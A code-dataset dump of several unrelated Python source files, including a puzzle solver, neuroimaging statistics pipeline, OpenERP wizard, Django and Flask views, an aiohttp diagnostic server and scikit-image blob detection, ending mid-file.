+{"seq_id":"230988734","text":"#!/usr/bin/env python 3.8\n\npacket_cache = []\nhosts = {}\nnetflows = {}\n\n\n\n'''\nPacket Structure\n\npacket = {\t'timestamp'\t:\tpacket.sniff_timestamp,\n\t\t\t'eth' \t\t: \t{\t'src' : packet.eth.src,\n\t\t\t\t\t\t\t\t'dst' : packet.eth.dst,\n\t\t\t\t\t\t\t},\n\t\t\n\t\t\t'ip' \t\t: \t{\t'src' : packet.ip.src,\n\t\t\t\t\t\t\t\t'dst' : packet.ip.dst,\n\t\t\t\t\t\t\t},\n\t\t\t'tcp' \t\t: \t{\t'src' : packet.tcp.srcport,\n\t\t\t\t\t\t\t\t'dst' : packet.tcp.dstport,\n\t\t\t\t\t\t\t},\n\t\t\t'udp'\t\t:\t{\t'src' : packet.udp.srcport,\n\t\t\t\t\t\t\t\t'dst' : packet.udp.dstport,\n\t\t\t\t\t\t\t},\n\t\t\t'arp'\t\t:\t{\t'mac' : {\t'src' : packet.arp.src_hw_mac,\n\t\t\t\t\t\t\t\t\t\t\t'dst' : packet.arp.dst_hw_mac,\n\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t'ip' : {\t'src' : packet.arp.src_proto_ipv4,\n\t\t\t\t\t\t\t\t\t\t\t'dst' : packet.arp.dst_proto_ipv4,\n\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t'code': packet.arp.opcode,\n\t\t\t\t\t\t}\n\n\n'''\n\n'''\t\n\tnetflow structure:\n\thost_pair_ID: { 'host_pair_ID'\t\t\t\t: host_pair_ID,\n\t\t\t\t\t'addresses' \t\t\t\t: [ip1, ip2],\n\t\t\t\t\t'recently_active' \t\t\t: True,\n\t\t\t\t\t'recent_transmissions' \t\t: [list of timestamps],\n\t\t\t\t \t'tcp_flows'\t\t\t\t\t: \t{\t\tflowID(random value) : \t{ \t'flowID'\t\t\t\t\t: flowID,\n\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t`\t\t\t'ports' \t\t\t\t\t: [port1, port2],\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t \t\t\t\t\t'recently_active' \t\t\t: True,\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t \t\t\t\t\t'last_transmission_time' \t: float(timestamp),\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t \t\t\t\t},\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\tflowID(random value) : \t{ \t'flowID'\t\t\t\t\t: flowID,\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t'ports' \t\t\t\t\t: [port1, port2],\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t \t\t\t\t\t'recently_active' \t\t\t: True,\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t \t\t\t\t\t'last_transmission_time' \t: float(timestamp),\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t \t\t\t\t},\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\tflowID(random value) : \t{ \t'flowID'\t\t\t\t\t: flowID,\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t'ports' \t\t\t\t\t: [port1, port2],\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t \t\t\t\t\t'recently_active' \t\t\t: True,\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t \t\t\t\t\t'last_transmission_time' \t: float(timestamp),\n\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t \t\t\t\t},\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t} \n\t\n\t\t\t\t}\n\n\t'''","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"100204821","text":"#!/usr/bin/env python3\n\nimport argparse\n\nfrom collections import defaultdict\nfrom itertools import cycle, combinations\n\n\ndef spaced_out(sequence, space, num_spaces, output_type=tuple):\n \"\"\"\n >>> list(spaced_out('test', ' ', 2, ''.join))\n [' test', ' t est', ' te st', ' tes t', ' test ', 't est', 't e st', 't es t', 't est ', 'te st', 'te s t', 'te st ', 'tes t', 'tes t ', 'test ']\n \"\"\"\n total_len = len(sequence) + num_spaces\n space_positions = combinations(range(total_len), num_spaces)\n for positions in space_positions:\n positions = set(positions)\n seq_iter = iter(sequence)\n yield output_type(next(seq_iter) if i not in positions else space for i in range(total_len))\n\n\ndef to_pairs(word):\n \"\"\"\n >>> to_pairs('test')\n ('te', 'st')\n \"\"\"\n return tuple(word[i:i+2] for i in range(0, len(word), 2))\n\n\ndef despace(paired_word):\n return tuple(p for p in paired_word if p.strip())\n\n\ndef spaced_out_words_of_right_length(paired_words, length):\n \"\"\"\n >>> list(spaced_out_words_of_right_length([('te', 'st'), ('hi',), ('lo', 'ng', 'er')], 3))\n [(' ', 'te', 'st'), ('te', ' ', 'st'), ('te', 'st', ' ')]\n \"\"\"\n half_length = length // 2\n for word in paired_words:\n spaces_needed = length - len(word)\n if 1 <= spaces_needed <= half_length:\n yield from spaced_out(word, ' ', spaces_needed)\n\n\ndef build_next_prefixes(words):\n \"\"\"\n >>> next_prefixes = build_next_prefixes(['test', 'text'])\n >>> next_prefixes == {'t': {'e'},\n ... 'te': {'x', 's'},\n ... 'tes': {'t'},\n ... 'tex': {'t'}}\n True\n \"\"\"\n next_prefixes = defaultdict(set)\n for word in words:\n for i in range(0, len(word)-1):\n prefix, next_prefix = word[0:i+1], word[i+1]\n next_prefixes[prefix].add(next_prefix)\n return next_prefixes\n\n\ndef build_infix_positions(words):\n \"\"\"\n >>> infix_positions = build_infix_positions(['test', 'text'])\n >>> infix_positions == {(0, 't'): {'text', 'test'},\n ... (1, 'e'): {'text', 'test'},\n ... (2, 's'): {'test'},\n ... (2, 'x'): {'text'},\n ... (3, 't'): {'text', 'test'}}\n True\n \"\"\"\n infix_positions = defaultdict(set)\n for word in words:\n for i in range(0, len(word)):\n infix = word[i]\n infix_positions[(i, infix)].add(word)\n return infix_positions\n\n\ndef column_words(solution, width):\n \"\"\"\n >>> list(column_words([('te', 'st')], 2))\n [('te',), ('st',)]\n >>> list(column_words([('te', 'st'), ('xt', 'ar')], 2))\n [('te', 'xt'), ('st', 'ar')]\n \"\"\"\n for col in range(width):\n yield tuple(row[col] for row in solution)\n\n\ndef extract_words(solution, width):\n \"\"\"\n >>> list(extract_words([('te', 'st'), ('xt', 'ar')], 2))\n [('te', 'st'), ('xt', 'ar'), ('te', 'xt'), ('st', 'ar')]\n \"\"\"\n for row in solution:\n yield despace(row)\n for col in column_words(solution, width):\n yield despace(col)\n\n\ndef has_duplicate_words(solution, width):\n \"\"\"\n >>> has_duplicate_words([('te', 'st'), ('xt', 'ar')], 2)\n False\n >>> has_duplicate_words([('te', 'st'), ('st', 'ar')], 2)\n True\n >>> has_duplicate_words([('te', 'st', ' '), (' ', 'st', 'ar'), ('st', ' ', 'ay')], 3)\n True\n >>> has_duplicate_words([('te', 'xt', ' '), (' ', 'st', 'ay'), ('st', ' ', 'ay')], 3)\n True\n \"\"\"\n words = list(extract_words(solution, width))\n return len(words) != len(set(words))\n\nfrom functools import reduce\ndef possible_next_words_at_position(infix_positions, prefixes, i):\n \"\"\"\n >>> infix_positions = build_infix_positions(['test', 'text', 'tag', 'tig', 'tog'])\n >>> next_words = possible_next_words_at_position(infix_positions, ['a', 'e'], 1)\n >>> next_words == {'tag', 'test', 'text'}\n True\n \"\"\"\n possible = set()\n for prefix in prefixes:\n possible.update(infix_positions[(i, prefix)])\n return possible\n\n\ndef possible_next_words(column_next_prefixes, row_infix_positions, prefixes):\n \"\"\"\n >>> next_prefixes = build_next_prefixes(['hat', 'are', 'dis', 'bit'])\n >>> infix_positions = build_infix_positions(['test', 'text', 'tag', 'tig', 'tog'])\n >>> next_words = possible_next_words(next_prefixes, infix_positions, ['ha', 'ar', 'di', 'bi'])\n >>> next_words == {'test'}\n True\n >>> next_words = possible_next_words(next_prefixes, infix_positions, ['h', 'a', 'd', 'b'])\n >>> next_words == set()\n True\n \"\"\"\n next_prefixes = (column_next_prefixes[prefix] for prefix in prefixes)\n for i, prefixes in enumerate(next_prefixes):\n next_possible = possible_next_words_at_position(row_infix_positions, prefixes, i)\n if i == 0:\n possible_words = next_possible\n else:\n possible_words.intersection_update(next_possible)\n if len(possible_words) == 0:\n break\n return possible_words\n\n\ndef backtrack(solution, column_next_prefixes, row_infix_positions, width, height):\n if len(solution) == height:\n if has_duplicate_words(solution, width):\n verbose(\"Skipping as has duplicate words\")\n return\n else:\n yield solution\n\n prefixes = column_words(solution, width)\n possible_words = possible_next_words(column_next_prefixes, row_infix_positions, prefixes)\n\n for word in sorted(possible_words):\n next_solution = solution + [word]\n yield from backtrack(next_solution, column_next_prefixes, row_infix_positions, width, height)\n\n\ndef find_word_square(paired_words, width, height):\n \"\"\"\n >>> words = ['past', 'near', 'edge', 'need', 'page', 'star']\n >>> find_word_square([to_pairs(word) for word in words], 3, 3)\n past\n ne ar\n edge \n >>> words = ['with', 'here', 'deal', 'that', 'wide', 'health', 'threat']\n >>> find_word_square([to_pairs(word) for word in words], 3, 4)\n wi th\n here\n deal \n that\n \"\"\"\n row_words = list(spaced_out_words_of_right_length(paired_words, width))\n column_words = set(spaced_out_words_of_right_length(paired_words, height))\n\n verbose('Considering', len(row_words), 'word + space combinations for rows')\n verbose('Considering', len(column_words), 'word + space combinations for columns')\n\n column_next_prefixes = build_next_prefixes(column_words)\n row_infix_positions = build_infix_positions(row_words)\n\n for word in row_words:\n for solution in backtrack([word], column_next_prefixes, row_infix_positions, width, height):\n for row in solution:\n print(''.join(row))\n return\n\n\ndef main(args):\n verbose('Width', args.width, 'Height', args.height)\n with args.words_file:\n max_word_length = 2 * (max(args.width, args.height) - 1)\n lower_cased = (word.strip().lower() for word\n in args.words_file.readlines())\n paired_words = list(sorted(set(to_pairs(word) for word in lower_cased\n if len(word) % 2 == 0 and len(word) <= max_word_length)))\n verbose('Total words selected from file file', len(paired_words))\n if args.randomise:\n import random\n random.shuffle(paired_words)\n find_word_square(paired_words, args.width, args.height)\n\n\ndef verbose(*arg, **kw):\n pass\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--self-test', action='store_true',\n help='run doc tests')\n parser.add_argument('--words-file', type=argparse.FileType('r'), default='/usr/share/dict/words')\n parser.add_argument('--width', type=int, default=3)\n parser.add_argument('--height', type=int, default=3)\n parser.add_argument('--verbose', action='store_true')\n parser.add_argument('--profile', action='store_true',\n help='run with profiling enabled')\n parser.add_argument('--randomise', action='store_true',\n help='randomise word order when searching')\n\n args = parser.parse_args()\n\n if args.self_test:\n import doctest\n doctest.testmod(verbose=args.verbose)\n else:\n if args.verbose:\n verbose = print\n if args.profile:\n import cProfile\n cProfile.run('main(args)')\n else:\n main(args)\n","sub_path":"puzzler.py","file_name":"puzzler.py","file_ext":"py","file_size_in_byte":8421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"421208973","text":"import os, glob\nfrom os.path import join as pathjoin\nfrom mmimproc.utils.provenance import ProvenanceWrapper\nfrom mmimproc.correlation.behavior import csv2fslmat\nfrom mmimproc.correlation.regfilt import multiregfilt\nfrom mmimproc.correlation.randpar import multirandpar\nfrom mmimproc.correlation.atlas import report, atlaslabels\nfrom mmimproc.utils.paths import getlocaldataroot\nfrom mmimproc.utils.timing import waitForFiles\nfrom mmimproc.utils.selection import select, withVoxelsOverThresholdOf\nfrom mmimproc.utils.files import deconstructRandparFiles\nfrom mmimproc.vbm.upsample import upsample1mm\nfrom mmimproc.utils.provenance import ProvenanceWrapper\nfrom mmimproc.utils._options import MmimprocOptions\nopts = MmimprocOptions()\nprov = ProvenanceWrapper()\nprov.dryrun = False\nprov.config.dryrun = False\nprov.config.verbose = True\nverbose = True\n\nsubjects = [317, 328, 332, 334, 335, 347, 353, 364, 370, 371, 376, 379, 381, 384, 385, 396]\n\nfs = getlocaldataroot()\nstatsdir = fs+'self_control/hbm_group_data/qT1/stats/'\nbehavdir = fs+'self_control/behavioral_data/behav_from_andy_march27_2015/'\ncsvfile = behavdir+'SCS_Behavior_dataset_9_14_15_Meq0_delta_qT1_SS_resptime_D_qT1_phantcorr.csv'\nprov.add(csvfile)\n\n#images = glob.glob(statsdir+'all_qT1_b1corr_phantcorr_bydate_dec12b_reg2mni_susan*.nii.gz')\n# images = [ fn for fn in glob.glob(statsdir+'all_qT1_b1corr_phantcorr_bydate_dec12b_reg2mni_f*.nii.gz') if not os.path.basename(fn).endswith('filt_c2b02s16_Gender.nii.gz') ]\n# images += [ fn for fn in glob.glob(statsdir+'all_qT1_b1corr_phantcorr_bydate_dec12b_reg2mni_sigma*.nii.gz') if not os.path.basename(fn).endswith('filt_c2b02s16_Gender.nii.gz') ]\nimages = [statsdir+'all_qT1_b1corr_phantcorr_bydate_dec12b_reg2mni_sigma2.nii.gz', statsdir+'all_qT1_b1corr_phantcorr_bydate_dec12b_reg2mni_sigma2_susan344_dt2mm.nii.gz',\n statsdir+'all_qT1_b1corr_phantcorr_bydate_dec12b_reg2mni_susan344_1mm_then_sigma2.nii.gz']\n[prov.add(img) for img in images]\n\nexptag='randpar_qT1_full_run_gend_qT1delta_filt_dec24_sigma2_susan2_n500'\nmatfiledir = pathjoin(statsdir,'matfiles','matfiles_'+exptag)\nresultdir = pathjoin(statsdir,'randomise_runs',exptag)\nqsubdir = pathjoin(resultdir, 'qsubdir_defunctcommands')\n\n# Covariate Filtering\nmatfiles = csv2fslmat(csvfile, cols=[2], covarcols=[46], selectSubjects=subjects,\n groupcol=False, demean=False, outdir=matfiledir, opts=prov.config)\nimages = multiregfilt(images, matfiles[0], opts=prov.config)\n\n## Randomize n500 test run\ndesignfile = statsdir+'scs_design2col.con'\nassert os.path.isfile(designfile)\ncollist = range(5, 8)+range(18, 38)+[44]\n#del collist[collist.index(19)]\nmatfiles = csv2fslmat(csvfile, cols=collist, selectSubjects=subjects,\n groupcol=True, outdir=matfiledir, opts=prov.config)\n\ncombs = {img:matfiles for img in images}\nrandparfiles = multirandpar(combs, designfile, niterations=500,\n tbss=False, workdir=qsubdir, outdir=resultdir, opts=prov.config)\n\ncorrPfiles = [f+'_tfce_corrp_tstat1.nii.gz' for f in randparfiles]\ncorrPfiles += [f+'_tfce_corrp_tstat2.nii.gz' for f in randparfiles]\nwaitForFiles(corrPfiles, interval=5) # every 5 seconds check if files done.\nprov.config.dryrun = False\nselectedCorrPfiles = select(corrPfiles, withVoxelsOverThresholdOf(.90))\n\natlasfile = 'JHU_MNI_SS_WMPM_Type_I_matched.nii.gz'\natlas = pathjoin('data','atlases',atlasfile)\nreport(selectedCorrPfiles, atlas, atlaslabels(atlasfile),\n relevantImageFilenameSegment=-5)\n\ncombs = deconstructRandparFiles(selectedCorrPfiles, matdir=matfiledir, imgdir=statsdir)\n\nexptag='randpar_n5000_thr90_full_run_gend_qT1delta_filt_dec24_sigma2_susan2_fm_sig_n500_2col'\nresultdir = pathjoin(statsdir,'randomise_runs',exptag)\n\nrandparfiles = multirandpar(combs, designfile, niterations=5000,\n tbss=False, workdir=qsubdir, outdir=resultdir, opts=prov.config)\ncorrPfiles = [f+'_tfce_corrp_tstat1.nii.gz' for f in randparfiles]\ncorrPfiles += [f+'_tfce_corrp_tstat2.nii.gz' for f in randparfiles]\nwaitForFiles(corrPfiles, interval=5) # every 5 seconds check if files done.\n\nselectedCorrPfiles = select(corrPfiles, withVoxelsOverThresholdOf(.90))\n\n\natlasfile = 'JHU_MNI_SS_WMPM_Type_I_matched.nii.gz'\natlas = pathjoin('data','atlases',atlasfile)\nreport(selectedCorrPfiles, atlas, atlaslabels(atlasfile),\n relevantImageFilenameSegment=-5)\natlasfile = 'JHU-ICBM-tracts-maxprob-thr0-1mm_newATR1_newCC21_LR_cerebellum.nii.gz'\natlas = pathjoin('data','atlases',atlasfile)\nreport(selectedCorrPfiles, atlas, atlaslabels(atlasfile),\n relevantImageFilenameSegment=-5)\n\n\n\n","sub_path":"mmimproc/qt1/qt1_randomise.py","file_name":"qt1_randomise.py","file_ext":"py","file_size_in_byte":4515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"508765280","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2010 Tiny SPRL ().\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\nfrom openerp.osv import fields, osv\n\nclass common_date_updation(osv.osv_memory):\n _name = \"common.date.updation\"\n _description = \"Date\"\n\n _columns = {\n 'date_to_update':fields.datetime('Date', required=True),\n }\n\n def to_update(self, cr, uid, ids, context=None):\n \"\"\"\n - Process\n - common update date wizard\n - update dates from context values.\n \"\"\"\n context = context or {}\n wizard_rec = self.browse(cr, uid, ids[0])\n pick_obj = self.pool.get('stock.picking.in')\n record_id = context and context.get('active_id', False) or False\n active_model = context and context.get('active_model', False) or False\n fields_name = context and context.get('fields_name', False) or False\n active_obj = self.pool.get(active_model)\n update_dates = fields_name.split(',')\n\n #[''] not pass\n if not filter(None, update_dates): return True\n update_v = {}\n for fields in update_dates:\n update_v.update({fields: wizard_rec.date_to_update})\n active_obj.write(cr ,uid, record_id, update_v)\n #Update only when GRN made with diffrent recieved date, Its auto update moves received date.\n if active_model == 'stock.picking.in' and record_id:\n pick = pick_obj.browse(cr, uid, record_id, context=context)\n for move in pick.move_lines:\n move.write({fields: wizard_rec.date_to_update})\n return True\n\ncommon_date_updation()\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"l10n_in_mrp_subcontract/wizard/common_date_updation.py","file_name":"common_date_updation.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"316031881","text":"# -*- coding: utf-8 -*-\n\nfrom django.shortcuts import render, render_to_response\nfrom django.template.context_processors import csrf\nfrom django.http import JsonResponse\nfrom participant.models import Team\n\n\n# Create your views here.\ndef index(request):\n context = {}\n context.update(csrf(request))\n return render_to_response('vote.html', context)\n\ndef init(request):\n result = {\n 'success': True,\n 'message': 'operations success',\n 'data': []\n }\n\n teams = Team.objects.all()\n for team in teams:\n result['data'].append(team.getDetail())\n\n return JsonResponse(result, status = 200)\n\ndef update(request):\n result = {\n 'success': True,\n 'message': 'operations success',\n 'data': [ team.votes for team in Team.objects.all() ]\n }\n return JsonResponse(result, status = 200)\n\ndef submit(request):\n teamId = int(request.POST['id'])\n try:\n team = Team.objects.get(id = teamId)\n team.votes += 1;\n team.save()\n except Team.DoesNotExist:\n result = {\n 'success': False,\n 'message': 'the team dose not exist',\n }\n return JsonResponse(result, status = 422)\n\n\n result = {\n 'success': True,\n 'message': 'operations success',\n }\n return JsonResponse(result, status = 200)\n","sub_path":"vote/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"46116270","text":"\"\"\"\nDiagnostic web server endpoints.\n\"\"\"\n\nimport aiohttp_jinja2\nimport asyncio\nimport jinja2\nimport os\nimport pendulum\nimport platform\nimport shellish\nfrom aiohttp import web\n\n\nclass DiagService(object):\n \"\"\" Diagnostic Web Service. \"\"\"\n\n platform_info = {\n \"system\": platform.system(),\n \"platform\": platform.platform(),\n \"node\": platform.node(),\n \"dist\": ' '.join(platform.dist()),\n \"python\": platform.python_version()\n }\n ui_dir = os.path.join(os.path.dirname(__file__), 'ui')\n\n def __init__(self, tasks, args, loop, sched=None, plain=False):\n self.tasks = tasks\n self.args = args\n self.loop = loop\n self.tpl_context = {\n \"environ\": os.environ,\n \"args\": args,\n \"tasks\": tasks,\n \"tasks_by_id\": dict((x.ident, x) for x in tasks),\n \"task_execs\": lambda: dict(((x.task.ident, x.ident), x)\n for x in sched.history),\n \"platform\": self.platform_info,\n \"ui_dir\": self.ui_dir,\n \"started\": pendulum.now(),\n \"pendulum\": pendulum,\n \"sched\": sched\n }\n self.plain_output = plain\n\n @asyncio.coroutine\n def start(self):\n self.app = web.Application(loop=self.loop)\n tpl_loader = jinja2.FileSystemLoader(self.ui_dir)\n env = aiohttp_jinja2.setup(self.app, loader=tpl_loader)\n env.globals.update({\n \"sorted\": sorted\n })\n self.app.router.add_route('GET', '/', self.index_redir)\n self.app.router.add_route('GET', '/health', self.health)\n self.app.router.add_route('GET', '/ui/{path}', self.tpl_handler)\n self.app.router.add_static('/ui/static',\n os.path.join(self.ui_dir, 'static'))\n self.handler = self.app.make_handler()\n listen = self.args.diag_addr, self.args.diag_port\n self.server = yield from self.loop.create_server(self.handler, *listen)\n shellish.vtmlprint('Running diag web server: '\n 'http://%s:%s' % listen,\n plain=self.plain_output)\n\n @asyncio.coroutine\n def index_redir(self, request):\n return web.HTTPFound('/ui/index.html')\n\n @asyncio.coroutine\n def health(self, request):\n return web.json_response({\n \"platform_info\": self.platform_info,\n \"tasks\": [x.cmd for x in self.tasks],\n })\n\n @asyncio.coroutine\n def tpl_handler(self, request):\n path = request.match_info['path']\n context = self.tpl_context.copy()\n context['request'] = request\n return aiohttp_jinja2.render_template(path, request, context)\n\n @asyncio.coroutine\n def cleanup(self):\n self.server.close()\n yield from self.server.wait_closed()\n yield from self.app.shutdown()\n yield from self.handler.finish_connections(1)\n yield from self.app.cleanup()\n","sub_path":"cronredux/diag/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"95075488","text":"# coding:utf-8\nfrom flask import Module, session, request, render_template, redirect, url_for, flash\nfrom flask.ext.login import current_user,login_required\n\nfrom RemoteCreditSystem import app\nfrom RemoteCreditSystem.config import logger\nfrom RemoteCreditSystem.models import Rcs_Application_Log,Rcs_Application_Absent,View_Over_Application\nfrom RemoteCreditSystem.config import PER_PAGE\n \n# 评估日志\n@app.route('/accessLog/list/', methods=['POST','GET'])\n@login_required\ndef list(page):\n sql=\"1=1\"\n if request.method == 'POST':\n customer_name = request.form['customer_name']\n card_id = request.form['card_id']\n if customer_name:\n sql+=\" and customer_name like '%\"+customer_name+\"%'\"\n if card_id:\n sql+=\" and card_id='\"+card_id+\"'\" \n sql+=\" order by application_id\" \n appList = Rcs_Application_Log.query.filter(sql).paginate(page, per_page = PER_PAGE)\n count = len(Rcs_Application_Log.query.filter(sql).all())\n return render_template(\"accessLog/accesslog.html\",appList=appList,count=count)\n\n# 缺席专家记录\n@app.route('/accessLog/absent/', methods=['POST','GET'])\n@login_required\ndef absent(page):\n sql=\"1=1\"\n if request.method == 'POST':\n customer_name = request.form['customer_name']\n card_id = request.form['card_id']\n expert_name = request.form['expert_name']\n if customer_name:\n sql+=\" and customer_name like '%\"+customer_name+\"%'\"\n if card_id:\n sql+=\" and card_id='\"+card_id+\"'\" \n if expert_name:\n sql+=\" and expert_name like '%\"+expert_name+\"%'\"\n sql+=\" order by application_id\" \n appList = Rcs_Application_Absent.query.filter(sql).paginate(page, per_page = PER_PAGE)\n count = len(Rcs_Application_Absent.query.filter(sql).all())\n return render_template(\"accessLog/absentlog.html\",appList=appList,count=count)\n\n# 超时专家记录\n@app.route('/accessLog/overTime/', methods=['POST','GET'])\n@login_required\ndef overTime(page):\n sql=\"1=1\"\n if request.method == 'POST':\n customer_name = request.form['customer_name']\n card_id = request.form['card_id']\n expert_name = request.form['expert_name']\n if customer_name:\n sql+=\" and app_name like '%\"+customer_name+\"%'\"\n if card_id:\n sql+=\" and card_id='\"+card_id+\"'\" \n if expert_name:\n sql+=\" and expert_name like '%\"+expert_name+\"%'\"\n sql+=\" order by app_id\" \n appList = View_Over_Application.query.filter(sql).paginate(page, per_page = PER_PAGE)\n count = len(View_Over_Application.query.filter(sql).all())\n return render_template(\"accessLog/overtimelog.html\",appList=appList,count=count)\n ","sub_path":"RemoteCreditSystem/views/accessLog/access_log.py","file_name":"access_log.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"566677652","text":"import numpy as np\nfrom scipy.ndimage.filters import gaussian_filter\nimport itertools as itt\nimport math\nfrom math import sqrt, hypot, log\nfrom numpy import arccos\nfrom skimage.util import img_as_float\nfrom .peak import peak_local_max\n\n\n# This basic blob detection algorithm is based on:\n# http://www.cs.utah.edu/~jfishbau/advimproc/project1/ (04.04.2013)\n# Theory behind: http://en.wikipedia.org/wiki/Blob_detection (04.04.2013)\n\n\ndef _blob_overlap(blob1, blob2):\n \"\"\"Finds the overlapping area fraction between two blobs.\n\n Returns a float representing fraction of overlapped area.\n\n Parameters\n ----------\n blob1 : sequence\n A sequence of ``(y,x,sigma)``, where ``x,y`` are coordinates of blob\n and sigma is the standard deviation of the Gaussian kernel which\n detected the blob.\n blob2 : sequence\n A sequence of ``(y,x,sigma)``, where ``x,y`` are coordinates of blob\n and sigma is the standard deviation of the Gaussian kernel which\n detected the blob.\n\n Returns\n -------\n f : float\n Fraction of overlapped area.\n\n \"\"\"\n root2 = sqrt(2)\n\n # extent of the blob is given by sqrt(2)*scale\n r1 = blob1[2] * root2\n r2 = blob2[2] * root2\n\n d = hypot(blob1[0] - blob2[0], blob1[1] - blob2[1])\n\n if d > r1 + r2:\n return 0\n\n # one blob is inside the other, the smaller blob must die\n if d <= abs(r1 - r2):\n return 1\n\n acos1 = arccos((d ** 2 + r1 ** 2 - r2 ** 2) / (2 * d * r1))\n acos2 = arccos((d ** 2 + r2 ** 2 - r1 ** 2) / (2 * d * r2))\n a = -d + r2 + r1\n b = d - r2 + r1\n c = d + r2 - r1\n d = d + r2 + r1\n area = r1 ** 2 * acos1 + r2 ** 2 * acos2 - 0.5 * sqrt(abs(a * b * c * d))\n\n return area / (math.pi * (min(r1, r2) ** 2))\n\n\ndef _prune_blobs(blobs_array, overlap):\n \"\"\"Eliminated blobs with area overlap.\n\n Parameters\n ----------\n blobs_array : ndarray\n a 2d array with each row representing 3 values, the ``(y,x,sigma)``\n where ``(y,x)`` are coordinates of the blob and sigma is the standard\n deviation of the Gaussian kernel which detected the blob.\n overlap : float\n A value between 0 and 1. If the fraction of area overlapping for 2\n blobs is greater than `overlap` the smaller blob is eliminated.\n\n Returns\n -------\n A : ndarray\n `array` with overlapping blobs removed.\n\n \"\"\"\n\n # iterating again might eliminate more blobs, but one iteration suffices\n # for most cases\n for blob1, blob2 in itt.combinations(blobs_array, 2):\n if _blob_overlap(blob1, blob2) > overlap:\n if blob1[2] > blob2[2]:\n blob2[2] = -1\n else:\n blob1[2] = -1\n\n # return blobs_array[blobs_array[:, 2] > 0]\n return np.array([b for b in blobs_array if b[2] > 0])\n\n\ndef blob_dog(image, min_sigma=1, max_sigma=50, sigma_ratio=1.6, threshold=2.0,\n overlap=.5,):\n \"\"\"Finds blobs in the given grayscale image.\n\n Blobs are found using the Difference of Gaussian (DoG) method[1]_.\n For each blob found, its coordinates and area are returned.\n\n Parameters\n ----------\n image : ndarray\n Input grayscale image, blobs are assumed to be light on dark\n background (white on black).\n min_sigma : float, optional\n The minimum standard deviation for Gaussian Kernel. Keep this low to\n detect smaller blobs.\n max_sigma : float, optional\n The maximum standard deviation for Gaussian Kernel. Keep this high to\n detect larger blobs.\n sigma_ratio : float, optional\n The ratio between the standard deviation of Gaussian Kernels used for\n computing the Difference of Gaussians\n threshold : float, optional.\n The absolute lower bound for scale space maxima. Local maxima smaller\n than thresh are ignored. Reduce this to detect blobs with less\n intensities.\n overlap : float, optional\n A value between 0 and 1. If the area of two blobs overlaps by a\n fraction greater than `threshold`, the smaller blob is eliminated.\n\n Returns\n -------\n A : (n, 3) ndarray\n A 2d array with each row containing the Y-Coordinate , the\n X-Coordinate and the estimated area of the blob respectively.\n\n References\n ----------\n .. [1] http://en.wikipedia.org/wiki/Blob_detection#The_difference_of_Gaussians_approach\n\n Examples\n --------\n >>> from skimage import data, feature\n >>> feature.blob_dog(data.coins(),threshold=.5,max_sigma=40)\n array([[ 45, 336, 1608],\n [ 52, 155, 1608],\n [ 52, 216, 1608],\n [ 54, 42, 1608],\n [ 54, 276, 628],\n [ 58, 100, 628],\n [ 120, 272, 1608],\n [ 124, 337, 628],\n [ 125, 45, 1608],\n [ 125, 208, 628],\n [ 127, 102, 628],\n [ 128, 154, 628],\n [ 185, 347, 1608],\n [ 193, 213, 1608],\n [ 194, 277, 1608],\n [ 195, 102, 1608],\n [ 196, 43, 628],\n [ 198, 155, 628],\n [ 260, 46, 1608],\n [ 261, 173, 1608],\n [ 263, 245, 1608],\n [ 263, 302, 1608],\n [ 267, 115, 628],\n [ 267, 359, 1608]])\n\n \"\"\"\n\n if image.ndim != 2:\n raise ValueError(\"'image' must be a grayscale \")\n\n image = img_as_float(image)\n\n # k such that min_sigma*(sigma_ratio**k) > max_sigma\n k = int(log(float(max_sigma) / min_sigma, sigma_ratio)) + 1\n\n # a geometric progression of standard deviations for gaussian kernels\n sigma_list = np.array([min_sigma * (sigma_ratio ** i)\n for i in range(k + 